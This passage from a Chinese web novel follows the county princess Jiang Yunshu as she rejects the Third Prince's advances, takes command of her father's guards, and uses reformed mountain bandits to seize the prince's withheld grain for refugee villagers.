逃亡而来的灾民多数也是农民,又听得崔长友说,姜云舒免了众人三年的税,那股子尽头更足了。 早苗播种半个月后,新芽萌出,姜云舒过来查看,顺便将上月的帐理一遍。 从一百多人,到如今的三百多人,清风村的消耗越来越大,虽有朝廷扶持,可如今整个清风村几乎是张嘴等着喂的状态,这种情况还要持续三个月。 “县主,这便是总结的各处用度。” 这时,崔长友过来,将账册递给她。 姜云舒接过,细细看着每一项开支,倒也在承受范围之内。 “所剩粮食只有这些?”她忽然问。 “是啊,户部发放的粮食一直没到,眼看着咱们的存粮这个月底也就要见底了。”崔长友愁得皱紧眉头。 三百多人的口粮,每日消耗可不是小数目。 姜云舒也蹙眉,核算着日期,户部的粮食早应该下放了,怎么到现在没有? “裴钰,你知道怎么回事?”姜云舒偏过头去看裴钰。 提及这事儿,裴钰气就不打一出来。 “我问过了,户部那帮老家伙说是咱们提交的账目有问题,需要重新审查,都是核查好几遍才提交的,能有什么问题?我看就是三皇子故意不让下放!” 户部是三皇子的亲信,上下都是看三皇子的眼色行事。 提及三皇子,姜云舒眉梢微挑,“若是没记错的话,三皇子的生辰就在春末。” “嗯,就是这个月末。” 裴钰点点头,随即意识到什么,又看向姜云舒,“你想干啥?” 姜云舒眉梢轻挑,唇畔漾开一抹玩味的笑。 “他压着户部不让放粮,那我只能伸手从他口袋里掏粮食了。” 第156章 咱俩不合适 自清风村回城,眼看着已经夕阳西下,姜云舒和月禾的肚子不约而同的“咕噜”一声。 “小姐每次去清风村,恨不得一日当成两日用,跟村长核账,晌午都没吃什么东西,你等着,我去买些点心过来垫垫肚子。” 说着,月禾就要下马车,却被姜云舒拉住。 “前面就是明月楼,我们好久没去了,说不定最近出了什么新菜品,去看看。” “嘿,走啊!” 月禾眸光一闪。 她也是真馋明月楼的菜了。 掌柜见是姜云舒,依旧将人领去了她订的雅间。 “才半月没来,明月楼竟然新出了这么多菜品。” 月禾盯着端上来的几样从没见过的菜品,眼睛直冒光。 说着话,见姜云舒动了筷子,也跟着夹了菜,连连点头。 姜云舒用了几样,随后尝到其中一盘炙牛肉,眼中神情微微起了变化。 “除了新菜品,甚至还有了北域风味,尤其这道炙牛肉,吃起来竟有种似曾相识的感觉。” “似曾相识?” 月禾也伸手夹了一块,细细品尝,也没尝到熟悉感,略有些失望,“不是娘的手艺。” 姜云舒瞧她那模样,忍不住想笑,这时,屋外传来敲门声。 “县主,三皇子来了。”掌柜的声音从外面传来。 若是别人,到了姜云舒门前那叫求见,可三皇子到底是皇室,便是不请自来,姜云舒也得起身迎接。 月禾一脸不情愿地放下筷子,挪到了一旁,姜云舒也跟着起身朝门口走去。 开门,姜云舒先行一礼,“参见三殿下。” “不必多礼,是孤不请自来,唐突了。” 三皇子径自走了进来。 姜云舒在后面跟着,关门时,特意吩咐掌柜上好茶。 此时屋内桌上还摆着饭菜,两个碗两双筷子,三皇子的视线扫过,不由得轻笑出生。 “乐安县主果真是不拘小节。” 他这话听起来没什么,可细品却又带着几分嘲讽。 好歹是将军府出身,竟然主仆不分与丫鬟同桌共食,可不是名门该有的规矩。 姜云舒脸上本也不愿持续的笑容一下子就散了。 “边境严酷,战场之上,别说和将士们一起用饭,特殊时期,便是那入口的食材也是大家一起弄来的,三殿下大概不懂。”她不咸不淡的回了一句。 听姜云舒这语气不怎么好,三皇子并没有在意,而是精准地抓住姜云舒关键的字眼。 “你上过战场?”他盯着姜云舒。 北域边境传来的战事之中,可从未提及姜云舒也上过战场。 不得不承认,三皇子的确是个极为敏锐之人。 不过,被怼着脸问,姜云舒倒也不慌张,直接回道:“守一国之门,我将军府从上到下,就连烧火的丫头也是要习武的,虽不一定上战场,但野训同样要参加。” 刚说完,敲门声再次响起,是掌柜亲自送茶来了。 月禾紧忙去接了茶水,回来给姜云舒和三皇子斟好了茶。 姜云舒抿一口茶,又看向三皇子,“所以,此时三殿下来找我,所谓何事?” 三皇子这个人,向来不做多余的时,他亲自找过来,必然是有目的的。 姜云舒主动问,三皇子这才叹一口气。 “说真的,这么多年,我三皇子妃的位置一直空着,就是因为没有遇到喜欢的那个人,如今与你接触之中,孤当真喜欢的你性子。” 话说到这一处,姜云舒恍然方才三皇子为什么提及她主仆同桌用饭,原来是为了引出她与众不同,好表达他的喜欢。 可是,这种套路未免有些可笑,更何况,她也不是现在才回京城,三年前,三皇子的眼睛可并没有在她身上停留过。 “大概是因为,三殿下没见过我这么随性的,相处之时只觉新鲜,可一旦真的亲近,你就会发现,我们两个就如同两矛相冲。” 姜云舒将手中杯盏放下,面上多了几分认真,“三殿下运筹帷幄,掌控一方势力,而我,同样也喜欢掌控我想要的局面,所以,承蒙三殿下太爱,但我们真的不合适。” 说完,她又端起杯盏朝三皇子举了举,以茶代酒。 三皇子没喝,只是看着姜云舒反而笑容更甚,“孤倒是不觉得我们相冲,夫妻之间有商有量才顺和。” 他的话带着几分威逼的味道,姜云舒退了一步,却并不想接连退,她抬头,应着三皇子的视线看过去。 “三殿下,你觉得,我对你真诚吗?”她忽然说道。 她这话题转得有些快,三皇子一时没反应过来,下意识回了一句。 “自然是会真诚的。” “可三殿下对我却并不真诚。” 姜云舒又将杯盏放下,她手上稍稍用了力,杯底轻磕桌面,发出轻微的响动。 “户部上下唯三殿下调遣,可如今庆清风村的粮食却晚了十日未下放,我很难不想是三殿下的授意。”她的视线亦凝在三皇子的脸上。 有些事情,背地里的小动作心知肚明点到为止,可如今姜云舒却是将话放在了明面上,这样直白的交涉倒是让三皇子一瞬间应接不及。 “你说的这件事,孤的确听说了,昨日刚下过命令,让他们尽快核实。” 说着,三皇子亲手将姜云舒的杯盏斟满,揣着明白装糊涂,“可是影响到了村民?” “倒也没有。” 姜云舒低头看了一眼杯盏,却没喝,朝三皇子扯出一个并不怎么真心的笑,“既然三殿下已经吩咐过,那我便放心了,我相信户部的办事效率。” 三皇子点头,似乎有些急于越过这个话题,抬手从胸口掏出一封请帖。 “这个月二十六是孤的生辰,本命的生辰,母后示意要郑重一些,届时还请县主不吝登门。” 姜云舒抬手将请帖接过,连连点头,“三殿下的生辰宴,我一定备好大礼过去。” 这才是三皇子的目的。 两人又聊了几句没用的闲天,三皇子终于离开。 等人一走,姜云舒脸上强撑着的笑瞬间就落了下来,正要伸手去关门,却见眼前一抹幻紫闪过,谢无烬那张脸就出现在了眼前。 第157章 你喜欢我什么呢 谢无烬出现得很突然,姜云舒一瞬间愣住,随即回过神来,给了他一个白眼。 “谢世子怎么还鬼鬼祟祟的,听墙角有趣吗?”她没好气。 三皇子前脚刚离开,谢无烬后脚就进了门,要说他没在旁边偷听,姜云舒可是一点都不相信。 “那自然是很有趣的。” 谢无烬倒也不否认,说着话,径自抬脚进了屋。 “两个人,点了这么多菜,吃的完吗?” 说着,他还不拿自己当外人似的坐下,又扭头招呼小二,“去,给本世子添一副碗筷。” “是!” 小二应声,蹭蹭蹭往下跑。 须臾功夫,小二拿了碗筷上来,全程神色紧张,甚至都没有看姜云舒这个主客一眼。 姜云舒看看小二,又看看谢无烬,眸中闪过光芒,也坐了过来。 这两人倒是坐下了,月禾却站在旁边一时尴尬。 只小姐和她的时候,两人同桌用饭倒也没什么,可有了别人,她这个丫鬟到底还是丫鬟,是不能与主子同食的。 可,菜刚上来,她就吃了几口,还没吃饱呢! 正想着,就见谢无烬抬起头看过来。 “站着做什么,你吃饱了?” 月禾一顿,这意思,让她一起吃? 这不太好吧…… 谢无烬用公筷给姜云舒夹了一块炙牛肉,见月禾没动,又道:“刚才你与姜云舒什么样,现在也还什么样,本世子就是过来蹭口饭,不必在意。” 不知怎么,同样的事情,从不同的人口中说出不同的话,听进姜云舒耳朵里,勾起来的情绪天差地别。 大概同样是将门出身,谢无烬看起来生人勿近,却在小事上包容得很,这一点,倒是与姜云舒很契合。 “月禾,坐下吃吧。”姜云舒朝月禾点点头。 月禾这才应声,坐下。 谢无烬看起来是真的饿了,此时认真用饭,筷子不停,但动作仪雅致,便是狼吞虎咽,竟也带着一种莫名的观赏感。 姜云舒看着他,下意识开口,“这几道北域菜式口感,有种似曾相识的感觉,该不会是谢世子家的厨子出走,来明月楼了吧?” 一句话带着试探,让谢无烬吃东西的动作停了下来。 他抬头看姜云舒,片刻,勾起唇角。 “敏锐如你,不过是一次入口浅尝,你竟能辨出来,没错,的确是我带来的厨子做的,可还喜欢?” 说着,谢无烬又用公筷给姜云舒夹了一块糖醋鱼。 姜云舒低头看一眼如冰雪点红的鱼肉,又道:“不止厨子吧,这明月楼中,怕是还有不少东西也是谢世子的。” 谢无烬顿了一下,放下筷子,抬起头,“你是什么时候察觉到的?” “刚刚。” 姜云舒也放下筷子,与他视线相交。 “到如今,这个雅间我已经包了三年,便是三皇子过来,掌柜都是以为我为主,而刚才,那店小二却处处以你为主,得了你的命令之后甚至都未曾看我一眼,很难让我不猜想,他是你的人,而你渊政王府的厨子能随意在明月楼施展,便只有一种可能,这明月楼背后的东家,本就是你渊政王府。” 早知道明月楼是有背景的,但东家神秘,向来不对外露面,却不想,竟是渊政王府所属。 “就知道瞒不住你。” 谢无烬勾起唇角,“不过,我本也没打算瞒着你,明月楼原本是父皇送给我娘的,一直以来的掌控权在我手里。” 姜云舒眼皮动了动,恍然想起之前渊政王府那小郡王来明月楼砸场子,结果一帮人来了什么都没动,又灰溜溜撤了,原来是被镇住了。 想到这里,她下意识往楼下的方向看,“既然明月楼是归谢世子所有,那你跟我解释解释,当初租用展卖场地时,为何我的场地费要多收一百两?” 说起来,姜云舒也算是明月楼的老客了,本以为租用展卖场地会有优惠,结果竟多收她一百两,这是店大杀熟啊! “一百两银子,竟让人你纠结这么久?” 谢无烬轻笑,随即从腰间拿出一块金牌,“别气,补给你。” 姜云舒抬手将那金牌拿在手上,从光泽和重量判断,那牌子竟真是金子。 金牌反面雕刻的是明月楼的徽章,正中间“明月楼”三个字,醒目端正,而牌子的另一面的徽章,是谢无烬的军令图腾。 这是,明月楼的信物,就这样给她了? 端详片刻,姜云舒又将金牌放回桌上,抬头含笑看着他。 “早听说谢世子在万宝楼挥金如土,如今看来,果然如此,只是,在我这里,无功不受禄,这金牌,你还是收回去吧。” 说完,低头品茶。 谢无烬瞧她面带三分愠怒,不觉越发想逗她,“阿舒这是吃味了?” 姜云舒撩起眼皮瞪他一眼,没说话。 谢无烬抬手又给她夹了一块炙牛肉。 “不必担心,在万宝楼那都是逢场作戏,只有对你才是真心。” 呵! 姜云舒略带嫌弃地扯了扯嘴角,这番说辞可真是标准的负心汉语录啊! 两人对视片刻,她倏然收了笑意,问:“谢无烬,你喜欢我什么呢?在你回京之前,我们甚至都没有交集,你为什么要对我这样执着?难不成,是因为被退婚咽不下那口气?” 一连几个问题出口,姜云舒的视线紧紧盯着谢无烬,然而,那双如夜空星澜的眼睛,却让她看不透。 谢无烬也看着她,两人对视须臾之后,他略显无奈的叹一口气。 “你可真是……” 后面的话,他没说完,只是抬手在姜云舒额间弹了一个脑瓜崩。 额间传来微痛,姜云舒伸手捂着额头,没好气朝他瞪眼。 正要说什么,可恍惚之间想起,小时候跟那群哥哥们玩儿,总也有人喜欢弹她,很讨厌,后来……是二哥教训了他们吧,就没有人再弹过她了。 被忽略的回忆充斥回来,姜云舒有朝他瞪一眼。 “烦死了!” 这三个字,带着真真的烦躁,谢无烬看她,却忍不住笑出声。 笑完,他收敛神情,道:“昨晚,孙副将传来了消息,万踪林那群死士后颈的狼头是假的,他看到有人给他们重新上色。” 第158章 快刀斩乱麻 听说象征封狼阁身份的狼头,是用银针刺破皮肤,辅以黑乌草汁液调成的颜料,在皮肉上成色,一旦结痂恢复,那狼头的图案便永生不落,而万踪林里死士的狼头需要补色,自然是另有身份的。 只是,有人训练死士假冒封狼阁,究竟是意欲何为? 要么,是想起事然后嫁祸给封狼阁,亦或者,想激化封狼阁和另一股势力的矛盾,而孙副将是定国将军府的老人,难不成…… 思及此,姜云舒的脸上多了几分凝重,她抬头看谢无烬,尚未开口,就见他点了点头。 “大概就是那你想的那样。” 她还没说,他已经猜到了。 “我派人进了万踪林,除了孙副将,其他区域还有原定国将军府的其他老将,他们被安排在不同的区域,彼此之间不通,并不知道彼此的存在。”他又说。 姜云舒蹙眉,想到沈清安知道死士的存在,一股无名的压抑感,自心口蔓延开来。 “无论如何,定国将军府老将不能被皇上发现,更不能落在有心之人手里。” 姜云舒眸光凛然。 沈清安已经知道那帮死士的存在,如今与他撕破脸皮,难保他不会狗急跳墙,这件事得尽快解决。 “既然是死士,那便只有让他们死了。”谢无烬眉梢轻挑。 傍晚。 姜云舒回到县主府时,天已经擦黑。 影子拉长了身躯,似乎在延展一天的疲惫。 月禾和白芷随好管家去库房整理,姜云舒则回了正厅,迟疑片刻,她手腕一转,赤羽令便出现在手中。 “赤羽卫现身!”她冷喝一声。 瞬间功夫,只见眼前人影闪过,下一瞬,六个赤羽卫单膝跪在姜云舒面前。 “赤羽卫听候主人吩咐。”赤羽卫应声开口。 姜云舒视线在几个人脸上扫过。 这几个人长相并不熟悉,应该不是与她年纪一般的那批人。 不过,这些不重要。 “你们几个,谁是首领?”姜云舒问。 “属下赤翎。”赤翎上前一步。 “嗯。”姜云舒点头,直接问他,“这些年,你们一直跟在沈清安身边,他去过北域几次?” “三次。”赤翎回答,“主人成婚半年后,六月初八去过一次,定国将军府抄家当年的九月十七去过一次,还有便是去年的七月初十。” “去年?” 姜云舒眸光一沉,“他去找了谁?做了什么?” “去见了舞阳侯,做什么并不清楚,他们是密谈。”赤翎回答。 侍卫的职责是守护主人安全,密谈时,他们所在的位置并不会听到相关内容。 姜云舒眉心拧起,思量之后,将赤羽令放在桌上。 “赤羽卫只认令牌不认人,这是我爹定下的规矩,如今我要取消这个规矩,自此以后你们只听从与我,你们同意吗?” 这话一出,原本没什么表情的赤羽卫脸上起了浮动。 “自训练那日,我们赤羽卫刻在骨子里的便是只认令牌,主人这般要求,恕难从命。”赤翎沉着声音回答。 当年,入门的第一件事,便是忘了自己的身份,也忘了周边的人,他们只是听从命令的木偶,不需要感情,亦不需要分辨。 这是他们训练十多年时时刻刻在脑子里铭记的东西,如今姜云舒突然更改这一铁令,他们的确难从命。 姜云舒蹙了蹙眉。 当初北域边境水深火热,战事焦灼,为了守住一国城门,所有人都是豁出命去的。 当时姜兆霖也曾入过敌军的圈套,敌军用他威胁援军,他是抱着必死的决心命令援军放箭,可上阵的将军却下不去手,人虽然救了回来,却平白损了大半兵力。 以那件事为契机,姜兆霖着手训练了一批没有感情的侍卫,便是第一批赤羽卫。 赤羽卫出手狠厉,没有感情,只要是主人下达的命令,哪怕是手刃主人,他们也会执行。 可姜云舒并不需要这样的木偶。 “你们既然如此执着于命令,那,我若让你们摧毁赤羽令牌呢?”姜云舒缓缓开口。 “主人!”赤翎抬头,震惊地看向姜云舒,却没有动作。 “看,你们也并不是唯令是从。” 姜云舒勾起唇角,笑意清浅,下一瞬,她手中的匕首便插在了赤羽令上。 金属碰撞,发出尖锐的刺耳声,姜云舒手腕用力,竟生生将那黄铜的令牌划开了一道口子。 “不愧是百辟赤冥刃,的确削铁如泥。”姜云舒低头看着手里的匕首。 之前训练黑鹰时,这把匕首又回到了她手里。 赤羽卫此时顾不上那匕首锋利不锋利,眼看着赤羽令牌被毁,面无表情的脸上终于出现了剧烈的震荡。 “主人,你……”赤翎眼眶泛红。 “我的侍卫,只需要听从我的命令,而不是对一块牌子忠心,如今赤羽令已毁,你们不会再被召唤,好自为之。” 姜云舒抬手,将赤羽令扔在了地上。 她扔的是一块牌子,也是出了一口气。 凭什么,他父亲亲手训练的侍卫,却要去给沈清安卖命?哪怕她这个大小姐就站在他们面前,他们的剑依旧指向她? 赤羽卫盯着地上破烂不堪的令牌,眼神之中无数情绪在翻涌。 姜云舒并不理会,她端着杯盏,喝茶的动作不紧不慢,垂下的眼睛遮盖住眸中的紧张。 她在等,在等赤羽卫跟自己妥协。 “属下等人,唯大小姐命令是从!” 终于,赤翎几个人上前一步,再次跪在姜云舒面前。 姜云舒的唇角倏然勾了起来。 “从今开始,你们是人,不是木偶!” 姜云舒抬手让众人起身,接下来的事情,才开始。 “当下我倒真有一件事要交给你们。” 她拿出一张图纸放在桌上,伸手点着其中一处山峰,“城郊八十里处有个雷云寨,给你们三日,要么拿下寨子,要么拿下那当家的。” 赤翎顺着姜云舒的指向看过去,思量之间,开口。 “不用三日,明晚我们回来复命。” 说完,众人一个闪身,消失在夜幕之中。 要不说是姜兆霖训练出来的人呢,次日晚上,姜云舒便和那雷云寨的当家人见了面。 “大小姐,山寨是抢下来了,但那劫匪首领不配合。”赤翎上前禀报。 姜云舒过去时,那劫匪首领正趁着脖子骂街。 “老子当劫匪这么多年,还没有怕过谁,你他娘……” “啪!” 一巴掌抽在劫匪首领的脑袋上,直接将他后面的话抽了回去。 “你……” 劫匪首领抬头,见是一个貌美的姑娘,当即愣住。 “雷五是吧,听说你拒不归降?”姜云舒居高临下。 第159章 极其残忍 明明顶着一张貌若天仙的脸,可那双眸子,却若寒冰利刃,只一眼,便叫雷五爷神经绷紧。 “老,老子……” “你是谁的老子?” 姜云舒眸中聚着寒光,一步步靠近,每走一步,仿佛踩在雷五爷的喉咙上。 他张了张嘴,却没说出话来。 “不归降也没关系,赤翎,用你们的手段来,我倒要看看,他能抗住几分。” 说完,姜云舒转身,坐在刑具旁边的椅子上。 此时正对着她的,便是放在炉火里烧红的烙铁,旁边的桌子上还并排放着各样刑具,看着就让人心惊胆战。。 虽没亲身经历赤羽卫的训练,但姜云舒听二哥说,那训练模式简直是阴曹地府级别的,瞧着父亲训练那批死士,就感觉自己的亲爹真是狠毒。 姜云舒想象不到爹爹有多狠,但见二哥说话时,五官都拧在一起,想来就是恶毒至极。 如今她倒是想开开眼。 “是!” 赤翎领命,招呼两个兄弟将雷五爷绑了,四肢用绳子困住,另一头系在木板的四个方向。 姜云舒瞧着,想到了五马分尸,心中暗自感叹,的确挺残酷的。 一股莫名的兴奋涌上来,她下意识捏紧拳头。 然而,下一瞬,就见两边的赤羽卫伸手就把雷五的鞋袜给脱了,紧接着赤翎不知从哪里找来的鸡毛往雷五脚心上一扫。 “哎哟,我的娘诶!” 雷五浑身一哆嗦,身体本能蜷缩,然而四肢被绳子牵扯着,根本动不了。 耳边顿时响起一阵凄惨的鬼哭狼嚎,姜云舒生硬地扯了扯嘴角,感觉自己的表情要裂开了。 好吧,的确惨不忍睹,可这种刑罚与父亲和赤羽卫联系起来,怎么就那么诡异呢。 方法让人无语,但效果是有的,还不到一盏茶的功夫,雷五就撑不住了。 “我降,我降还不行嘛,姑奶奶饶命啊……”雷五扯着嗓子带着哭腔,眼泪鼻涕糊了一脸。 姜云舒抬手让赤翎停下,等雷五缓过一口气,这才过去。 “从一开始就答应,何至于吃这苦头?” 说着,她亲手将绑着雷五的绳子解了下来。 雷五双腿发软,站都站不住,一落地双膝一曲直接跪在了姜云舒跟前。 “听说上个月,你们截了入京的商队,赶着锦州水患时出手,朝中已经准备派兵了,如今我让你归降,是给你一条活路。”姜云舒居高临下的看着他。 雷五爷抬起头来,此时看到姜云舒身上的金锣绸缎,视线再往上,又看到她腰间的玉牌,眼神顿时一紧。 “你,你究竟是什么人?” “我姓姜,皇上亲封的乐安县主。”姜云舒开口。 “你,你就是那个接手了灾民的乐安县主?你是将门出身?”雷五紧忙问。 “是,你知道我?”姜云舒回答时,视线在雷五脸上扫过。 “那能不知道吗!” 雷五眼睛一眯,顿时带了笑,“你可是不知道,当初那些灾民还想进寨子呢,可你们也知道,我雷云寨总共就那么大的地方,根本容不下他们,听说朝廷还要驱赶他们,真不是东西!” 此时说起来,雷五竟然满脸愤慨,共情感十足。 “照你这么说,你人还怪好呢!”姜云舒哼笑一声。 雷五表情一顿,“嘿嘿”笑了笑。 “虽说我们是劫道的,可但凡能活下去,谁干这营生呢,说白了,都是逼不得已。” 说到这里,他似是想到什么,抬头问:“县主费了这么大劲儿让我们归降,何必呢,我跟寨子里的兄弟们交代清楚,往后但凡县主的商队都直接放行就是了,说起来,我们也真没劫过县主的商队啊。” 雷五一脸委屈,就在刚才,他几乎把这两年劫的商队都想了个遍,真没动过乐安县主的东西。 “你也说了,都是逼不得已,如今让你归降本就是让你有活路,你又为何不同意。”姜云舒反问。 雷五眼珠子转了转,面上略带尴尬,低着头小声嘟哝。 “我还以为你们要杀人灭口呢……” 说着,又抬头看姜云舒,“所以,县主是想让我做什么?” 到底是在江湖多年,雷五自然明白,这活路得是自己挣来。 “雷五爷是爽快人,那我也就直接一点。” 姜云舒让雷五上前,指着桌子上的图纸,“三日后,会有一队悬挂金边黄旗的商队经过碧云峡谷,届时,我需要以雷云寨的名义劫下那批货,运回雷云寨。” “金边黄旗?那可是皇室的旗帜,难不成你要造反?”雷五眼珠子瞬间瞪大。 “让你劫你就劫!”姜云舒没好气。 刚呵斥一句,就见赤翎手里的鸡毛一闪,雷五抬手一把将嘴捂住。 姜云舒接着说:“货劫了之后,你带着兄弟进万踪林躲避,在这个位置有一处山洞。” 她伸手在图纸上指了指。 “你们暂且躲在山洞里,到时等我的信号,你们趁乱将驻扎在万踪林里的营寨搬会雷云寨。” 说完,看想雷五。 雷五瞪着不咋大的眼睛眨巴眨巴,一脸无辜地扯了扯嘴角,吐出三个字。 “没听懂……” 姜云舒:“……” 就这脑子,雷云寨竟存在了这么多年没被铲除,全靠幸运吧。 姜云舒叹一口气,“算了,不明白也没关系,你只记着我交代你的事情,到时候听我信号行事。” 三日后。 依照姜云舒的指使,雷云寨劫了那批货,运回寨子里才发现,里面竟然是粮食。 朝堂之上,三皇子自请率兵围剿雷云寨。 “如今正是荒灾之年,那批粮食本用于灾民储备粮,那黑云寨难免太过猖獗,儿臣自请领兵围剿,清除一方祸患。” 三皇子一脸义正言辞。 刚说完,三皇子一党便陆续出来附议,皇上衡量之下,给了他兵权。 整合军队之后,三皇子便率军浩浩荡荡朝着雷云寨出发。 憋着一肚子火,三皇子一路上瞧见只野兔子都给一箭,傍晚到了雷云寨,直接趁黑进攻。 雷五带着兄弟们装模作样的抵挡了一阵,看着时机掉头朝万踪林奔去。 第160章 山匪报官 三皇子此时已经杀急了眼,瞧着劫匪往万踪林奔,直接一声令下,追了进去。 倒也不是三皇子鲁莽,而是那劫匪本来也就十几个人,他如今带的一队人马百十来人,必然能将他们一网打尽。 最重要的是,虽然之前已经攻入了雷云寨,却并没有找到那批粮食,寨子里留下的都是老弱妇孺,也没有人知道下落,只能将劫匪全部抓回来再审。 黑云寨距离万踪林也就两三里路,虽说万踪林里变幻莫测,但相比外人,劫匪们对地形更熟悉一些,进了林子,很快没了踪影。 依照姜云舒交代,众人顺着路标进了悬崖边上的山洞,雷五爷带了两个人进去探路,还真发现了不远处的扎营的地方。 偷摸进去查看一圈,发现不仅有粮食,还有兵器和衣被。 “这要是全都搬回去,够咱们一整年的嚼头!”二当家眼睛当时就冒了光。 结果,话刚说完,就被雷五当着后脑勺给了一巴掌。 “都说了不许乱动,等信号!” 到底是当家的,一声威慑将众人骚动的心绪压了下来。 众人等了一个时辰左右,就听得深林之中传来喊杀的声音,那声音听起来不近,但是惨烈异常。 山匪们听着动静,面面相觑,谁都没敢发出大动静。 雷五爷压着众人不让动,一炷香后,果真看到姜云舒放出来的信号,这才带人往外走。 他安排了几个人往外搬运东西,又指挥两人将营帐之中残留的铠甲全都收集起来。 “你们两个,将这些铠甲全都带去悬崖边毁了。”雷五道。 “老大,这么好的东西,毁了?”二当家瞪大眼睛,一脸难以置信。 雷五皱了皱眉头。 都是好东西,只是看一眼就能辨认出,那铠甲用的是当下最坚硬的材料。 直接毁了,别说二当家,就连雷五自己都忍不住嘬牙花子,可县主重申过,那铠甲正是黑云寨的催命符,留下,便是将雷云寨往死路上推。 雷五爷不知道姜云舒究竟怎么想铠甲和黑云寨有什么关联,但答应的事总得做到。 片刻,他咬牙往地上踹了一脚,“盗亦有道,让你销毁就销毁!” 二当家倒也真是听大当家的,虽不情不愿,但还是带着小弟将铠甲抬了出去。 也是趁着混乱,黑云寨一帮人吭哧吭哧地搬东西,扎营的那帮人愣是没有一个人回来。 他们不知道,此时扎营的那帮人正被三皇子重兵围剿。 在姜云舒刻意安排下,今日黑云寨众人所穿衣物与万踪林死士略相似,三皇子带人进入万踪林后,顺着大路就到了死士训练的山涧。 也不怪三皇子认错人,那些死士后颈的狼头与他所见封狼阁的狼头明显不同,看起来就像是劫匪是模仿封狼阁,而死士看到有军队闯入,连自报家门都没有,直接动手。 而另一路,和雷云寨众人一起忙活的,还有赤羽卫,劫匪找东西,他们找人,根据原有的情报,很快将森林之中被安排在四处的定国将军府的老将聚集在一起。 赤羽卫身上有姜兆霖的信物,那些老将认得,自然跟了出来。 而此时,姜云舒带着那一车队的粮食等在南城门,一个时辰之后,黑云寨众人带着从万踪林顺出来的东西与姜云舒汇合。 等将万踪林里的物资安置好,雷五爷就见姜云舒又将三皇子那一车队的粮食拉了出来。 “县主,咱们接下来去哪里?”雷五上前问。 “去京兆府,报官自首。”姜云舒眉梢一挑。 “啥?!” 跟前的几个劫匪当时就傻眼了。 干活的时候什么也不让问,就听指令,结果忙活了这一天,结果把自己送去大牢? 此时几个人难以置信的看看当家的,怀疑自己的耳朵,还怀疑人生。 “不是,县主,你不是承诺过,要给我们生路的吗?你不能过河拆桥吧!”雷五脸上肌肉颤了颤。 “通往京兆府的便是活路。” 姜云舒转过身,与众人解释,“你们带着这批粮食报官自首,本心是来投诚,自愿被招安,我自会从中打点保住你们,这样一来,你们才能有明处的身份,才能将寨子里的妇孺老小接过来。” 众人闻言,面面相觑,最后视线都落在雷五爷身上。 “县主这话,可作数?”雷五爷小心谨慎,说话的同时,也在暗自衡量。 姜云舒面向众人,抬手将县主腰牌递到雷五爷手里。 “等你们安置好了再还给我。” 众人瞧着那县主腰牌,眸光一滞。 这腰牌可是身份的象征,听说,这东西遗失可是重罪,她能将这东西给雷五,那必然是诚信使然。 “行,我们听县主的!兄弟们,跟我走!” 雷五爷一挥手,跟着姜云舒朝城门方向而去。 粮队入城门,自城门例行检查,是郭朝带着姜云舒众人去的京兆府。 听到是报官自首,邢恪直接将人带到了大堂逐一审问。 这边审着劫匪,京兆府还派了人通知三皇子。 一个时辰后。 到京兆府时,三皇子身上的血还没有干。 他一路邪风地冲进京兆府后院,就见自己被劫走的粮食整整齐齐排放在地上,眼睛都绿了。 “就是你们?” 他猛然转身,扭头看向在地上跪了一排的劫匪。 “小的真不知是三皇子的商队,我们知道错了,以后再也不敢了,为表悔恨,我雷云寨同意招安!” 说完,雷五爷便对着三皇子哐哐磕头。 三皇子举起来的剑直愣愣地僵在半空,原本带着怒气的一张脸更是涨得通红。 若是刁民匪徒,他直接一剑刺过去,死了也就死了,可他偏偏说同意招安,这人就不能杀。 “招什么安?谁要对你们招安!”三皇子咬着牙。 折腾了这么一场,他是要斩草除根,并没有打算给他们留后路。 “这……” 雷五爷抬头,扯了扯嘴角,扭头朝门口看去,就见姜云舒和邢恪自内院走了出来。 “参见三殿下!” 两人上前行礼。 三皇子一抬手,瞪眼睛看向邢恪,“父皇下旨允我率兵剿匪,谁让你招安的?” 邢恪楞了一下,还没说话,就见姜云舒上前一步。 “三殿大概不知道,之前雷云寨山匪曾滋扰过清风村,当时赵令海曾出兵招安,他们没同意,如今他们主动找过来,想来是想通了。”她勾着唇角,笑得一脸无害。 然而,这几句话入三皇子的耳,却让他神情骤然僵住。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第161章 那得多废物啊 “你说……什么?” 三皇子的表情僵在脸上,他扭头,瞪着姜云舒,嘴角忍不住颤了一下。 坏事了! 山匪滋扰清风村,他掌管城守护卫队却未有动作,如今自己商队被劫反而大动干戈,也就是说,那日上朝时,皇上允他派兵时,他就已经犯了皇上的忌讳! 难怪,那日皇上看他的眼神感觉不对。 思及此,三皇子眼中闪过慌乱,姜云舒瞧着他表情的变化,不失时机地上前来。 “三殿下别跟着些草莽置气,他们得知是三皇子的商队,可真是吓坏了,这不,赶紧带着货送了回来,你快看看,是不是你那批?” 说着,她扭头朝雷五爷使了个眼色,雷五爷紧忙转身,将原本盖着苫布的箱子掀开。 “三殿下,这粮食我们可一粒都没有动!”雷五爷紧忙道。 “粮食?” 姜云舒恍然刚知道,顿时一脸兴奋的看过去,“之前户部说给清风村的粮食没有补上,想来这次是充足了,清风村的粮食也能下放了!” 这话说得三皇子的表情又有种微裂的感觉。 不是,他还一个字都没说,她就已经给安排上了? 就算户部听他调令,可这批粮食是他三皇子府的用度,谁说要送到户部了? 然而,此时情况,当着京兆府尹的面儿,他竟然无法反驳。 三皇子嘴角动了动,尚未想好怎么说,姜云舒已经到跟前郑重地行了一礼。 “臣替清风村的百姓谢过三皇子!” 三皇子:“……” 谁能有她鸡贼啊! 三皇子用力攥了攥拳头,勉强挤出一个不怎么走心的笑。 “姜云舒,你为什么会在这里?” 就算是劫匪保安自首,跟她有什么关系? 三皇子这一问,姜云舒就忍不住笑了。 “嗨,说来也是巧了,三殿下威武,听说将他们逼到了穷途末路,他们没办法就往京城来了,这不我刚好从清风村回来就遇上了吗,之前赵令海招安他们时,正巧我也在,如今见到,他们便拦了我的马车,求饶命。” 姜云舒一双大眼睛忽闪忽闪的,“我想着,这事儿我也管不了,得找京兆尹啊,这不,我就将人带到了京兆府。” 她说得轻松,就跟唠家常似的,可听进三皇子耳朵里,怎么琢磨怎么感觉不对劲。 正在三皇子眼皮子乱颤之时,宫里传来口谕,来传口谕的还是皇上跟前明德公公的徒弟,三宝公公。 “哟,乐安县主也在,正好省得咱家多跑一趟了,一起跟着去吧。”三宝公公面上带笑。 “我?” 姜云舒大眼睛,一脸无害地看了看三皇子,“怎么还有我的事儿?” 三皇子嘴角又抽了一下。 可不是嘛,怎么哪儿都有你! 